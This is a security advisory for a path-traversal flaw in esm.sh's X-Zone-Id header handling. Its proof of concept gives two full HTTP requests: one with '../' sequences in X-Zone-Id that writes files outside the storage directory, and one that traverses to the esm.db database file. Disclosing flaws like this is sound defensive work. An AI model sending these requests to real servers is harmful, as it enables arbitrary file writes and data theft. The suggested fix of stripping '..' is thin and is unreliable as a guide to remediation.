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GHSA-g2h5-cvvr-7gmw

MediumCVSS 5.5 / 10
Published Sep 17, 2025·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Summary

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).

Severity: Medium

Component / Endpoint:

POST /transform — handling of X-Zone-Id header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411

Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

Proof of Concept (POC)

Request (attacker-supplied X-Zone-Id contains path traversal):

POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}
<img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" />

Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.

This can be trigger with another path traversal request below

GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/
<img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" />

Remediation

Simply remove any .. in the X-Zone-Id header before actually process the file.

Credits

Risk Scores
Base Score
5.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
2.7

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
2.83%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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